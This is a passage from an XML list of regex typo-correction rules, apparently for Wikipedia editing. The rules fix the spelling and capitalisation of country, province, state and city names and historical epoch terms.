<Typo word="Portuguese (3)" find="\bPort(?:gu|ug)ese\b" replace="Portuguese"/>
<Typo word="Portuguese (1)" find="\b[pP]ortug(?:e+u?|ue+u)?se\b" replace="Portuguese"/>
<Typo word="Portuguese (2)" find="\bportug+u?eu?s+e?\b(?![^\s\.]*\.\w)" replace="Portuguese"/>
<Typo word="Pridnestrovie" find="\bpridnestrovie\b(?![^\s\.]*\.\w)" replace="Pridnestrovie"/>
<Typo word="Punjab(i)" find="\bpunjab(i)?\b(?![^\s\.]*\.\w)" replace="Punjab$1"/>
<Typo word="Qatar" find="\bqu?atar(i)?\b(?![^\s\.]*\.\w)" replace="Qatar$1"/>
<Typo word="Republic of China/Congo" find="\brepublic\s+of\s+[cC](hina|ongo)\b" replace="Republic of C$1"/>
<Typo word="Republic of Korea" find="\brepublic\s+of\s+[kK]orea\b" replace="Republic of Korea"/>
<Typo word="Romania" find="\bromania(ns?)?\b(?![^\s\.]*\.\w)" replace="Romania$1"/>
<Typo word="Russia" find="\brus+ia(ns?)?\b(?![^\s\.]*\.\w)" replace="Russia$1"/>
<Typo word="Rwanda" find="\brwanda(ns?)?\b(?![^\s\.]*\.\w)" replace="Rwanda$1"/>
<Typo word="Saint Helena" find="\bsaint\s+[hH]elena\b" replace="Saint Helena"/>
<Typo word="Saint Kitts and Nevis" find="\bsaint\s+[kK]itts\s+and\s+[nN]evis\b" replace="Saint Kitts and Nevis"/>
<Typo word="Saint Lucia" find="\bsaint [lL]ucia\b" replace="Saint Lucia"/>
<Typo word="Saint Pierre and Miquelon" find="\bsaint\s+[pP]ierre\s+and\s+[mM]iquelon\b" replace="Saint Pierre and Miquelon"/>
<Typo word="Saint Vincent and the Grenadines" find="\bsaint\s+[vV]incent\s+and\s+the\s+[gG]renadines\b" replace="Saint Vincent and the Grenadines"/>
<Typo word="Samoa" find="\bsamoa(ns?)?\b(?![^\s\.]*\.\w)" replace="Samoa$1"/>
<Typo word="San Marino" find="\b[sS]an\s+marino\b" replace="San Marino"/>
<Typo word="São Paulo" find="\b[sS](?:ã[uõ]\s+[pP]a[ou]|a[ouõ]\s+[pP]a[ou]|ão\s+(?:Pao|pa[ou]))lo\b" replace="São Paulo"/>
<Typo word="São Tomé and Príncipe" find="\b[sS][ãa]o\s+[tT]om[éeè]\s+(?:and|&)\s+[pP]r[íi]ncipe\b" replace="São Tomé and Príncipe"/>
<Typo word="Sardinia" find="\bsardinia(ns?)?\b(?![^\s\.]*\.\w)" replace="Sardinia$1"/>
<Typo word="Saud(i)" find="\bsaud(is?|s?)\b(?![^\s\.]*\.\w)" replace="Saud$1"/>
<Typo word="Scandinavia" find="\b(?:scand[ai]|Scanda)navia(ns?)?\b(?![^\s\.]*\.\w)" replace="Scandinavia$1"/>
<Typo word="Senegal" find="\bsen[ae]gal(?<!(?:[aA]cacia|[sS](?:enegalia|\.))\s+senegal)\b(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Senegal"/>
<Typo word="Senegalese" find="\bsen[ae]gal+[ae]s?se\b(?![^\s\.]*\.\w)" replace="Senegalese"/>
<Typo word="Serbia" find="\bserbia(ns?)?\b(?![^\s\.]*\.\w)" replace="Serbia$1"/>
<Typo word="Sèvres" find="\bS[ée]vres\b(?![^\s\.]*\.\w)" replace="Sèvres"/>
<Typo word="Seychelles" find="\bseychel+es\b(?![^\s\.]*\.\w)" replace="Seychelles"/>
<Typo word="Sierra Leone" find="\bsier+a\s+[lL]eone(ans?)?\b" replace="Sierra Leone$1"/>
<Typo word="Sierra Leonese" find="\bsier+a\s+[lL]eones+e\b" replace="Sierra Leonese"/>
<Typo word="Singapore" find="\bsingap+or[ei](ans?)?\b(?![^\s\.]*\.\w)" replace="Singapore$1"/>
<Typo word="Slav(on)ic" find="\bslav(on)?ic\b(?![^\s\.]*\.\w)" replace="Slav$1ic"/>
<Typo word="Slov(ak/en)ia" find="\bslov(ak|en)ia(ns?)?\b(?![^\s\.]*\.\w)" replace="Slov$1ia$2"/>
<Typo word="Solomon Islands" find="\b[sS]olomon\s+islands\b" replace="Solomon Islands"/>
<Typo word="Somali(a/land)" find="\bsomali(a(?:ns?)?|land|s?)\b(?![^\s\.]*\.\w)" replace="Somali$1"/>
<Typo word="South Africa" find="\bsouth\s+[aA]frica(ns?)?\b" replace="South Africa$1"/>
<Typo word="South Korea" find="\bsouth\s+[kK]orea(ns?)?\b" replace="South Korea$1"/>
<Typo word="South Ossetia" find="\bsouth\s+[oO]ssetia\b" replace="South Ossetia"/>
<Typo word="Spain" find="\bspa(in|ni(?:ards?|sh))\b(?![^\s\.]*\.\w)" replace="Spa$1"/>
<Typo word="Sri Lanka" find="\b[sS]ri\s*lanka(ns?)?\b" replace="Sri Lanka$1"/>
<Typo word="Sudan" find="\bsudan\b(?![^\s\.]*\.\w)" replace="Sudan"/>
<Typo word="Sudanese" find="\bsudan+es+e\b(?![^\s\.]*\.\w)" replace="Sudanese"/>
<Typo word="Suriname" find="\bsuriname(rs?|se)?\b(?![^\s\.]*\.\w)" replace="Suriname$1"/>
<Typo word="Svalbard" find="\bsvalbard\b(?![^\s\.]*\.\w)" replace="Svalbard"/>
<Typo word="Swaziland" find="\bswaziland\b(?![^\s\.]*\.\w)" replace="Swaziland"/>
<Typo word="Sweden" find="\bswed(en|ish)\b(?![^\s\.]*\.\w)" replace="Swed$1"/>
<Typo word="Switzerland" find="\bswi(ss|tzerland)\b(?![^\s\.]*\.\w)" replace="Swi$1"/>
<Typo word="Syria" find="\bsyria(ns?)?\b(?![^\s\.]*\.\w)" replace="Syria$1"/>
<Typo word="Taiwan" find="\btaiwan(ese)?\b(?![^\s\.]*\.\w)" replace="Taiwan$1"/>
<Typo word="Tajikistan" find="\btajikistan(is?|s?)\b(?![^\s\.]*\.\w)" replace="Tajikistan$1"/>
<Typo word="Tanzania" find="\btanzania(ns?)?\b(?![^\s\.]*\.\w)" replace="Tanzania$1"/>
<Typo word="Thailand" find="\bthailand\b(?![^\s\.]*\.\w)" replace="Thailand"/>
<Typo word="Timor" find="\btimor(ians?|-Leste)?\b(?![^\s\.]*\.\w)" replace="Timor$1"/>
<Typo word="Timor-Leste" find="\bTimor-leste\b(?![^\s\.]*\.\w)" replace="Timor-Leste"/><!--timor-Leste covered in other Timor rule-->
<Typo word="Tobago" find="\btobag(ans?|o)\b(?![^\s\.]*\.\w)" replace="Tobag$1"/>
<Typo word="Togan(s)" find="\btogan(s)?\b(?![^\s\.]*\.\w)" replace="Togan$1"/><!--avoid "togo"; might mean "to go"-->
<Typo word="Tokelau" find="\btokelau\b(?![^\s\.]*\.\w)" replace="Tokelau"/>
<Typo word="Tonga" find="\btonga(ns?)?\b(?![^\s\.]*\.\w)" replace="Tonga$1"/>
<Typo word="Transnistria" find="\btransnistria(ns?)?\b(?![^\s\.]*\.\w)" replace="Transnistria$1"/>
<Typo word="Trinidad" find="\btrin+idad(ians?)?\b(?![^\s\.]*\.\w)" replace="Trinidad$1"/>
<Typo word="Tristan da Cunha" find="\b[tT]ristan da cunha\b" replace="Tristan da Cunha"/>
<Typo word="Tunisia" find="\btunisia(ns?)?\b(?![^\s\.]*\.\w)" replace="Tunisia$1"/>
<Typo word="Turk(men)istan" find="\btur([ck]o?(?:m[ae]n)?)(estan|i(?:c|stan)|s?)\b(?![^\s\.]*\.\w)" replace="Tur$1$2"/>
<Typo word="Turkish" find="\bturkis([hm])\b(?![^\s\.]*\.\w)" replace="Turkis$1"/>
<Typo word="Turks and Caicos Islands" find="\b[tT]urks\s+and\s+[cC]aicos\s+islands\b" replace="Turks and Caicos Islands"/>
<Typo word="Tuvalu" find="\btuvalu(vians?)?\b(?![^\s\.]*\.\w)" replace="Tuvalu$1"/>
<Typo word="Uganda" find="\buganda(ns?)?\b(?![^\s\.]*\.\w)" replace="Uganda$1"/>
<Typo word="Ukraine" find="\b(?:Ukra|ukrai?)n(e|ians?)\b(?![^\s\.]*\.\w)" replace="Ukrain$1"/>
<Typo word="United Arab Emirates" find="\b[uU]nited\s+[aA]rab\s+emirates\b" replace="United Arab Emirates"/>
<Typo word="Uruguay" find="\burugua[iy](ans?)?\b(?![^\s\.]*\.\w)" replace="Uruguay$1"/>
<Typo word="Uzbekistan (1)" find="\b[uU]zbekystan\b" replace="Uzbekistan"/>
<Typo word="Uzbekistan (2)" find="\bu[sz]be[ck]istan(is?|s?)\b(?![^\s\.]*\.\w)" replace="Uzbekistan$1"/>
<Typo word="Vanuatu" find="\bvanuatu\b(?![^\s\.]*\.\w)" replace="Vanuatu"/>
<Typo word="Vatican City" find="\b[vV]atican\s+city\b" replace="Vatican City"/>
<Typo word="Venezuela" find="\bvenez+uel+a(ns?)?\b(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Venezuela$1"/><!--avoid domains & URLs-->
<Typo word="Vietnam" find="\bviet\s*[nN]am\b(?![^\s\.]*\.\w)" replace="Vietnam"/>
<Typo word="Vietnamese" find="\bvietnames+e\b(?![^\s\.]*\.\w)" replace="Vietnamese"/>
<Typo word="Virgin Islands" find="\b[vV]irgin islands\b" replace="Virgin Islands"/>
<Typo word="Wallis and Futuna" find="\b[wW]allis\s+and\s+futuna\b" replace="Wallis and Futuna"/>
<Typo word="Western Sahara" find="\bwestern\s+sahara\b" replace="Western Sahara"/>
<Typo word="Württemberg" find="\bw[uü]rt+emberg\b(?![^\s\.]*\.\w)" replace="Württemberg"/>
<Typo word="Yemen" find="\byem+en(i(?:s?|tes?))?\b(?![^\s\.]*\.\w)" replace="Yemen$1"/>
<Typo word="Yugoslavia" find="\byugoslavia(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Yugoslavia$1"/>
<Typo word="Zambia" find="\bzambia(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Zambia$1"/>
<Typo word="Zimbabwe" find="\bzimbabw[ei](ans?)?\b(?![^\s\.]*\.\w)" replace="Zimbabwe$1"/>
</source>
=====Canada=====
<source lang="xml">
<Typo word="Yukon Territory" find="\b[yY]ukon [tT]erritory\b" replace="Yukon Territory"/>
<Typo word="Yukon" find="\byukon\b(?![^\s\.]*\.\w)" replace="Yukon"/>
<Typo word="British Columbia (2)" find="\b[bB]ritish Colombia\b" replace="British Columbia"/>
<Typo word="British Columbia (1)" find="\b[bB]ritish-?[cC]olumbia(n)?\b(?![^\s\.]*\.\w)" replace="British Columbia$1"/>
<Typo word="Alberta" find="\balberta(ns?)?\b(?![^\s\.]*\.\w)" replace="Alberta$1"/>
<Typo word="Saskatchewan" find="\bsaskatchewan(ians?)?\b(?![^\s\.]*\.\w)" replace="Saskatchewan$1"/>
<Typo word="Manitoba" find="\bmanitoba(ns?)?\b(?![^\s\.]*\.\w)" replace="Manitoba$1"/>
<Typo word="Ontario" find="\bontari(ans?|o)\b(?![^\s\.]*\.\w)" replace="Ontari$1"/>
<Typo word="Qu(e/é)bec" find="\bqu([eé])bec(ers?|k(?:ers?|ois)|ois)(?![^\s\.]*\.\w)" replace="Qu$1bec$2"/>
<Typo word="New Brunswick" find="\b[nN]ew [bB]runswicke(r)?\b" replace="New Brunswicke$1"/>
<Typo word="Nova Scotia" find="\b[nN]ova [sS]cotia(n)?\b" replace="Nova Scotia$1"/>
<Typo word="Prince Edward Island" find="\b[pP]rince [eE]dward [iI]sland(er?s?|rs?|s?)\b" replace="Prince Edward Island$1"/>
<Typo word="Labrador" find="\blabrador([ei]ans?)?\b(?![^\s\.]*\.\w)" replace="Labrador$1"/>
<Typo word="Newfoundland" find="\bnewfoundland(ers?)?\b(?![^\s\.]*\.\w)" replace="Newfoundland$1"/>
<Typo word="Klondike" find="\bklondike\b(?![^\s\.]*\.\w)" replace="Klondike"/>
<Typo word="Montr(e/é)al" find="\bmontr([eé])al(ers?)?\b(?![^\s\.]*\.\w)" replace="Montr$1al$2"/>
<Typo disabled="Saskat(chewa/oo)n" find="\bsaskat(chewa|oo)n\b(?![^\s\.]*\.\w)" replace="Saskat$1n"/><!--Disabled due to multiple meanings-->
<Typo word="Toronto" find="\btoront(o(?:nians?)?)\b(?![^\s\.]*\.\w)" replace="Toront$1"/>
<Typo word="Vancouver" find="\b[vV]ancove(r(?:ites?)?)\b(?![^\s\.]*\.\w)" replace="Vancouve$1"/>
<Typo word="Winnipeg" find="\bwin+[aei]peg\b(?![^\s\.]*\.\w)" replace="Winnipeg"/>
</source>
=====United Kingdom=====
<source lang="xml">
<Typo word="Britain_1" find="\b(?:br(?:it?|ri)?t(ains?|i(?:cisms?|sh(?:ers?|isms?|ly|ness)?)|ney|ons?|pop|tany))\b(?![^\s\.]*\.\w)" replace="Brit$1"/>
<Typo word="Britain_2" find="\b[bB]ristish(ers|ness)?\b(?![^\s\.]*\.\w)" replace="British$1"/>
<Typo word="Engl(and/ish)" find="\b(?:eng?|En)l(and|ish(?:m[ae]n|wom[ae]n)?)(?![^\s\.]*\.\w)" replace="Engl$1"/>
<Typo word="Great Britain" find="\bgreat\s+[bB]ritain(?![^\s\.]*\.\w)" replace="Great Britain"/>
<Typo word="Isle of Man" find="\b[iI]sle\s+of\s+man\b" replace="Isle of Man"/>
<Typo word="Manx((wo)man)" find="\bmanx(m[ae]n|wom[ae]n)?(?![^\s\.]*\.\w)" replace="Manx$1"/>
<Typo word="Scot(land/s/sman/swoman/tish)" find="\bscot?(lands?|s(?:m[ae]ns?|wom[ae]ns?)?|tish)\b(?![^\s\.]*\.\w)" replace="Scot$1"/><!--avoid scotch-->
<Typo word="Welsh" find="\bwelsh(?![^\s\.]*\.\w)" replace="Welsh"/>
</source>
=====United States – states=====
<source lang="xml">
<Typo word="Ala(bam/sk)a" find="\bala(bam|sk)(a(?!'')|ans?|ians?)\b(?<!\b\p{Lu}\.\s+alabama\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Ala$1$2"/>
<Typo word="Arizona" find="\barizon(a(?:ns?)?|ians?)\b(?![^\s\.]*\.\w)" replace="Arizon$1"/>
<Typo word="Arkansas" find="\barkans(an?s?)\b(?![^\s\.]*\.\w)" replace="Arkans$1"/>
<Typo word="California (1)" find="\b[cC]al(?:fo(?:n?|nr?|r[nr]?)|if(?:o[nr]r?|ron))ia(ns?|s?)\b" replace="California$1"/>
<Typo word="California (2)" find="\bcaliforni(a(?!'')n?s?)\b(?<!\b\p{Lu}\.\s+california\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Californi$1"/><!--avoid species-->
<Typo word="Carolina" find="\bcarolin(an?s?)\b(?!'')(?<!\b\p{Lu}\.\s+carolin(an?s?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Carolin$1"/><!--avoid species-->
<Typo word="Colorado (1)" find="\b[cC]ola?rad(ans?|o)\b" replace="Colorad$1"/>
<Typo word="Colorado (2)" find="\bcolorad(ans?|o)\b(?!'')(?<!\b\p{Lu}\.\s+colorad(?:ans?|o))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Colorad$1"/><!--avoid species-->
<Typo word="Connecticut (1)" find="\b[cC]on(?:e(?:c(?:cicut+|icut*|t(?:cicut+|icut*))|icut*|t(?:cicut*|icut*))|n(?:e(?:c(?:cicut+|icut*|tc?icut+)|icut*|tc?icut*)|n+e(?:c(?:cicut+|icut*|t(?:cicut+|icut*))|icut*|tc?icut*)))t\b" replace="Connecticut"/>
<Typo word="Connecticut (2)" find="\b(con+|Con)ecticut\b(?![^\s\.]*\.\w)" replace="Connecticut"/>
<Typo word="Delaware" find="\bdelawar(es?|ians?)\b(?!'')(?<!\b\p{Lu}\.\s+delawar(?:es?|ians?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Delawar$1"/><!--avoid species-->
<Typo word="Florida" find="\b(?:flori?di?|Flordi?)(a|ians?)\b(?!'')(?<!\b\p{Lu}\.\s+florid(?:a|ians?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Florid$1"/><!--avoid species-->
<Typo word="Guam" find="\bguam\b(?![^\s\.]*\.\w)" replace="Guam"/>
<Typo word="Hawaii" find="\bhawaii(ans?)?\b(?![^\s\.]*\.\w)" replace="Hawaii$1"/>
<Typo word="Idaho" find="\bidaho(ans?)?\b(?!'')(?<!\b\p{Lu}\.\s+idaho(?:ans?)?)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Idaho$1"/><!--avoid species-->
<Typo word="Indiana(polis)" find="\bindian(a(?:(?!'')|ns?|polis)|ians?|town)\b(?<!\b\p{Lu}\.\s+indiana\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Indian$1"/><!--avoid species-->
<Typo word="Iowa" find="\biow(a(?!'')n?s?)\b(?<!\b\p{Lu}\.\s+iowa\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Iow$1"/><!--avoid species-->
<Typo word="Kansas" find="\bkansa(ns?|s)\b(?![^\s\.]*\.\w)" replace="Kansa$1"/>
<Typo word="Kentucky" find="\bkentuck(ians?|y)\b(?![^\s\.]*\.\w)" replace="Kentuck$1"/>
<Typo word="Louisiana (1)" find="\b[lL]ou(?:isian[in]|siani?)(a(?!\s+Knop)|ians?)\b" replace="Louisian$1"/><!--avoid Patricia Louisianna Knop-->
<Typo word="Louisiana (2)" find="\blouisian(a(?!'')|ans?)\b(?<!\b\p{Lu}\.\s+louisiana\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Louisian$1"/><!--avoid species-->
<Typo word="Maine" find="\bmaine\b(?![^\s\.]*\.\w)" replace="Maine"/>
<Typo word="Maryland" find="\bmaryland(ers?)?\b(?![^\s\.]*\.\w)" replace="Maryland$1"/>
<Typo word="Massachusetts (2)" find="\b[mM]as(?:[ae]ch?u?s+et*|s(?:ac(?:h(?:s+et*|u(?:s(?:e(?:tt)?|s+et*)))|s+et*|us+et*)|[eu]ch?u?s+et*|s+(?:ac(?:hu?s+et*|h(?:s+et*|u(?:s(?:e(?:tt)?|s+et*)))|s+et*|us+et*)|[eu]ch?u?s+et*))|uch?u?s+et*)ts\b" replace="Massachusetts"/>
<Typo word="Massachusetts (1)" find="\b(?:massachusetts|[mM](?:as+achus(?:e|set?)|asachuset?)ts+)(ans?)?\b(?![^\s\.]*\.\w)" replace="Massachusetts$1"/>
<Typo word="Michigan (1)" find="\b[mM]ichagan\b" replace="Michigan"/>
<Typo word="Michigan (2)" find="\bmichigan(ders?)?\b(?![^\s\.]*\.\w)" replace="Michigan$1"/>
<Typo word="Minnesota (2)" find="\b[mM]in(?:e|n(?:i|n+e))sota(ns?)?\b" replace="Minnesota$1"/>
<Typo word="Minnesota (1)" find="\bminnesot(a(?!'')|ans?)\b(?<!\b\p{Lu}\.\s+minnesota\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Minnesot$1"/><!--avoid species-->
<Typo word="Mississippi (2)" find="\b[mM]is(?:i(?:s+ip+)|s(?:is(?:ip+|sip(?:pp+)?|s+i(?:s+ip+))))i(ans?)?\b" replace="Mississippi$1"/>
<Typo word="Mississippi (1)" find="\b(?:mississippi(?!'')|[mM]is(?:issip|sis(?:ip|si))pi)(ans?)?\b(?<!\b\p{Lu}\.\s+mississippi\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Mississippi$1"/><!--avoid species-->
<Typo word="Missouri (2)" find="\b[mM]isouri\b" replace="Missouri"/>
<Typo word="Missouri (1)" find="\bmissouri(ans?)?\b(?![^\s\.]*\.\w)" replace="Missouri$1"/>
<Typo word="Montana" find="\bmontana(ns?)?\b(?!'')(?<!\b\p{Lu}\.\s+montana(?:ns?)?)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Montana$1"/><!--avoid species-->
<Typo word="Nebraska" find="\bnebraska(ns?)?\b(?![^\s\.]*\.\w)" replace="Nebraska$1"/>
<Typo word="Nevada (1)" find="\b[nN]eveda(ns?|s?)\b" replace="Nevada$1"/>
<Typo word="Nevada (2)" find="\bnevad(a(?!'')|ans?|ians?)\b(?<!\b\p{Lu}\.\s+nevada\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Nevad$1"/><!--avoid species-->
<Typo word="New England_" find="\b[nN]ew\s{0,9}[eE]ngland(rs?)?\b(?<!new\s{0,9}England\b|New\sEngland(ers?)?)\b" replace="New England$1"/><!--avoid 'new England' & self match --->
<Typo word="New Jersey" find="\bnew\s*[jJ]ersey(ites?)?\b" replace="New Jersey$1"/>
<Typo word="New Hampshire_" find="\bhampsh?ire\b" replace="Hampshire"/><!--avoid 'new => New', i.e. Hampshire UK-->
<Typo word="New Mexico_" find="\b[nN]ew\s{0,9}[mM]exic(ans?|o)\b(?<!new\s{0,9}Mexicans?\b|New\sMexic(ans?\b|o\b))" replace="New Mexic$1"/><!--avoid 'new Mexican(s)' & self match-->
<Typo word="New Netherland" find="\bNew\s*[nN]etherlands\b" replace="New Netherland"/>
<Typo word="New York" find="\bnew\s*[yY]ork(ers?)?\b" replace="New York$1"/>
<Typo word="North Carolina/Dakota" find="\bnorth\s*([cC]arolin|[dD]akot)a(ns?|s?)\b" replace="North $1a$2"/>
<Typo word="Ohio" find="\bohio(ans?)?\b(?![^\s\.]*\.\w)" replace="Ohio$1"/>
<Typo word="Oklahoma" find="\boklahoma(?!'')(ns?)?\b(?<!\b\p{Lu}\.\s+oklahoma\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Oklahoma$1"/><!--avoid species-->
<Typo word="Oregon" find="\boregon(?!'')(ians?)?\b(?<!\b\p{Lu}\.\s+oregon\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Oregon$1"/><!--avoid species-->
<Typo word="Pennsylvania (1)" find="\b[pP]en(?:nsylvan|sylvan?)nia(ns?)?\b" replace="Pennsylvania$1"/>
<Typo word="Pennsylvania (2)" find="\bpennsylvania(?!'')(ns?)?\b(?<!\b\p{Lu}\.\s+pennsylvania\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Pennsylvania$1"/><!--avoid species-->
<Typo word="Puerto Rico" find="\bpuerto\s+ric(ans?|o)\b" replace="Puerto Ric$1"/>
<Typo word="South Carolina/Dakota" find="\bsouth\s*([cC]arolin|[dD]akot)a(ns?|s?)?\b" replace="South $1a$2"/>
<Typo word="Rhode Island" find="\b(?:Rhode\s*i|rhode\s*[iI])sland(ers?)?\b" replace="Rhode Island$1"/>
<Typo word="Tennessee (2)" find="\b[tT]en(?:ess+e*|n(?:e(?:s(?:e+|s(?:ee+|s+e*))?)|n+es(?:e+|s+e*)?))(ans?|e)\b" replace="Tennesse$1"/>
<Typo word="Tennessee (1)" find="\btennesse(ans?|e)\b(?![^\s\.]*\.\w)" replace="Tennesse$1"/>
<Typo word="Texas" find="\btexa(s(?!'')|ns?)\b(?<!\b\p{Lu}\.\s+texas\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Texa$1"/><!--avoid species-->
<Typo word="United States (3)" find="\bUnited\s+Stated\b" replace="United States"/>
<Typo word="United States (1)" find="\b[uU]nited\s*states\b" replace="United States"/>
<Typo word="United States (2)" find="\b[uU]nite[ds][sS]tates\b" replace="United States"/>
<Typo word="Utah" find="\butah(?!'')(ans?)?\b(?<!\b\p{Lu}\.\s+utah\b)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Utah$1"/><!--avoid species-->
<Typo word="Vermont" find="\bvermont(ers?)?\b(?![^\s\.]*\.\w)" replace="Vermont$1"/>
<Typo word="Virginia_" find="\b(?:Vi|vir)gini?a(ns?)?\b(?!'')(?<!\b\p{Lu}\.\s+virginia(?:ns?)?)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Virginia$1"/><!--avoid species-->
<Typo word="Washington" find="\bwashington(ians?)?\b(?![^\s\.]*\.\w)" replace="Washington$1"/>
<Typo word="West Virginia" find="\bwest\s*[vV]irginia(ns?)?\b" replace="West Virginia$1"/>
<Typo word="Wyoming" find="\bwyoming\b(?![^\s\.]*\.\w)" replace="Wyoming"/>
</source>
=====United States – cities=====
<source lang="xml">
<Typo word="Albuquerque" find="\b[aA]lb(?:aquerq|er?qu?erqu?|quequ|u(?:equerqu|que(?:erqu|qu|ru?q)))e\b(?![^\s\.]*\.\w)" replace="Albuquerque"/>
<Typo word="Chicago" find="\bchicago(ans?)?\b(?![^\s\.]*\.\w)" replace="Chicago$1"/>
<Typo word="Chattanooga" find="\b[cC]hat+[ae]no+ga(ns?|s?)\b(?!\.\w|-\w)(?<!Chattanooga(ns?|s?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Chattanooga$1"/>
<Typo word="Cincinnati" find="\b[cC]in+c[ai]n+at+(i(?:ans?)?|us)\b(?<!Cincinnat(i(?:ans?)?|us))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Cincinnat$1"/>
<Typo word="Cleveland" find="\bcleveland\b(?<![\.-]cleveland)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Cleveland"/>
<Typo word="Fort Worth" find="\bForth?\s+[wW]orth?\b(?<!Fort Worth)" replace="Fort Worth"/>
<Typo word="Las Vegas" find="\b(?:las\s*[vV]egas|Las\s*vegas)\b" replace="Las Vegas"/>
<Typo word="Los Angeles (1)" find="\b[lL](?:as\s*[aA]nge?le?|[ao]s\s*[aA]ng(?:el|le))a?s\b" replace="Los Angeles"/>
<Typo word="Los Angeles (2)" find="\b[lL]os\s{0,9}[aA]ng(el|le)[eo]?se?\b(?<!Los Angeles)(?<!\b[dD]e\s{0,9}[lL]os\s{0,9}[aA]ng(?:el[eo]?se?|le[eo]?se?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Los Angeles"/><!--avoid the common Spanish phrase "de los Angeles"-->
<Typo word="Manhattan" find="\b([mM])anhatten\b(?![^\s\.]*\.\w)" replace="$1anhattan"/><!--avoid "manhattan"; can be lowercase-->
<Typo word="Milwaukee" find="\b(milw(?:au?|ua)|Milwu?a)kee\b(?![^\s\.]*\.\w)" replace="Milwaukee"/>
<Typo word="New Orleans_" find="\b[nN]ew\s*orleans\b" replace="New Orleans"/>
<Typo word="Phoenix," find="\b([pP](?:e(?:nix|o+nix)|oenix))\,\b(?![^\s\.]*\.\w)" replace="Phoenix,"/><!--, added to avoid non place instances-->
<Typo word="Philadelphia" find="\b(?:Phil(?:ade(?:lp|ph)|delph|idelph)|phil(?:ade(?:lph?|ph)|delph|idelph))ia(ns?)?\b(?!'')(?![^\s\.]*\.\w)" replace="Philadelphia$1"/><!--avoid bird names-->
<Typo word="Portland" find="\bportland(ers?)?\b(?![^\s\.]*\.\w)" replace="Portland$1"/>
<Typo word="Springfield" find="\bspringfield\b(?![^\s\.]*\.\w)" replace="Springfield"/>
<Typo word="Tallahassee" find="\b[tT]al(?:ahas+e+|lahas(?:[es]e))\b(?![^\s\.]*\.\w)" replace="Tallahassee"/>
<Typo word="Tucson" find="\b([tT])uscon\b(?![^\s\.]*\.\w)" replace="$1ucson"/>
</source>
====Epochs, ages and dynasties====
<source lang="xml">
<Typo word="Abbassid" find="\babbassid(es?|s?)\b(?![^\s\.]*\.\w)" replace="Abbassid$1"/>
<Typo word="Bronze Age" find="\b(?:bronze\s+[aA]|Bronze\s+a)ge(s)?\b" replace="Bronze Age$1"/>
<Typo word="Capet" find="\bcapet(ians?)?\b(?![^\s\.]*\.\w)" replace="Capet$1"/>
<Typo word="Car(ol/lov)ingian" find="\bcar(lov|ol)ingian(s)?\b(?![^\s\.]*\.\w)" replace="Car$1ingian$2"/>
<Typo word="Dark Ages" find="\b(?:dark\s+[aA]|Dark\s+a)ge(s)?(?<!(?:Big Bang#Dark Ages\s*\|[cC]osmic\s+|universe#Dark Ages\s*\|\s*)[dD]ark\s+[aA]ges)\b" replace="Dark Age$1"/> <!--avoid [[Chronology of the universe]] & [[Timeline of the Big Bang]] anchors, shortened for more generality-->
<Typo word="Edwardian" find="\bedwardian(s)?\b(?![^\s\.]*\.\w)" replace="Edwardian$1"/>
<Typo word="Elizabeth(an)" find="\belizabeth(ans?)?\b(?![^\s\.]*\.\w)" replace="Elizabeth$1"/>
<Typo word="Fatimid" find="\bfatim(ah?|i(?:ds?|tes?))\b(?![^\s\.]*\.\w)" replace="Fatim$1"/>
<Typo word="Iron Age" find="\b(?:iron\s+[aA]|Iron\s+a)ge(s)?\b" replace="Iron Age$1"/>
<Typo word="Merovingian" find="\bmerovingian(s)?\b(?![^\s\.]*\.\w)" replace="Merovingian$1"/>
<Typo word="Middle Ages" find="\b(?:midd?le\s+[aA]|Midd?le\s+a)ges\b" replace="Middle Ages"/>
<Typo word="Napoleon(ic) (2)" find="\b(?:napole[ao]|Napolea)n(ic)?\b(?![^\s\.]*\.\w)" replace="Napoleon$1"/>
<Typo word="Norman" find="\bnorman(dy|s?)\b(?![^\s\.]*\.\w)" replace="Norman$1"/>
<Typo word="Romano(v/ff)" find="\bromano(ffs?|vs?)\b(?![^\s\.]*\.\w)" replace="Romano$1"/>
<Typo word="Sassanid" find="\bsassani(ans?|de?s?)\b(?![^\s\.]*\.\w)" replace="Sassani$1"/>
<Typo word="Sel(juk/eucid)" find="\bsel(euc(?:ids?|us)|juk)\b(?![^\s\.]*\.\w)" replace="Sel$1"/>
<Typo word="Stone Age" find="\b(?:stone\s+[aA]|stone\s+a)ge(s)?\b" replace="Stone Age$1"/>
<Typo word="Stuart" find="\bstuart(s)?\b(?![^\s\.]*\.\w)" replace="Stuart$1"/>
<Typo word="Tudor" find="\btudor(s)?\b(?![^\s\.]*\.\w)" replace="Tudor$1"/>
